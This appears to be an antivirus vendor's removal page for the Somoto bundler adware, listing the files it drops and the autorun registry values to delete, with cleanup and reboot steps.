C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\7d4f668f3d1818d01b6b9684b669d0db[1].png (5680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\e94782c9200f8de809a50327879df1cc[1].png (22265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5dbc29649669598ff43174b9ee730008[1].png (3722 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7e5817bad781bbc2d2e43b350ccb53db[1].png (6016 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f4e4b853ddab3b763f0af17d513631bd[1].png (21227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\589b1e936e1f038dc45bd8ffff59b359[1].png (17075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (733 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\36d7cd00f07003a67021237993257d08[1].png (12700 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\23428f8768d928d2bd45dd3b0c4d0057[1].png (19593 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4f263f4be4c4396c9078d1874c05b928[1].png (5640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\07fce0a4ff78cc7e6376e227f046ce06[1].png (38929 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\a64a4b5c68c364d30083fbd0b0363585[1].png (27241 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\eg1.zip (187725 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\eg2.zip (208136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\xiwrlae.dll (2119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\rypiyr.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\Mfuyqgtg.tmp (394440 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\zwqnxb.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\Bxaze.exe (2370079 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80E.tmp (154948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\301713 (93025 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3978.tmp (562500 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\hcwuy.dll (8 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\lxfxjtoab.dll (31236 bytes)
%Program Files% (x86)\SensePlus\utils.exe (79170 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\qvvshx.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\299078 (3509 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\kryenm.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\exinfivx.dll (23 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Windows\Tasks\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5_user.job (74 bytes)
C:\Windows\Tasks\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.dll (37727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\xkvwnkajx.dll (14 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\vbgcpdhzf.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdBD08.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF279.tmp (118586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\appshat.exe (796935 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7B76.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\setup[1].exe (747439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\System.dll (23 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.4056 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.4056 (11109 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_sense.exe (46429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_yta.exe (28491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_shopperpro.exe (17880 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_iwebar.exe (44751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_740\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_31878\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\64x64[1].ico (5319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SBC697.tmp (44 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBCFC67.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC498.tmp (547 bytes)
C:\Windows\Temp\SBC58D.tmp (98 bytes)
C:\Windows\Temp\SBC280.tmp (44 bytes)
C:\Windows\Temp\SBC9F2.tmp (51193 bytes)
C:\Windows\Temp\SBC2D5B.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\inwksqy.dll (2102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\Faocllweg.tmp (355948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\exinfivx.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\Auajfs.exe (2189130 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE39.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\4D90EAE405E9E2FF (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\Ktyvobm.exe (2193276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\exinfivx.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\Ljwwpw.tmp (358651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\inwksqy.dll (2102 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"videoplayer" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_5423049c0b

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_5423049c0b

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet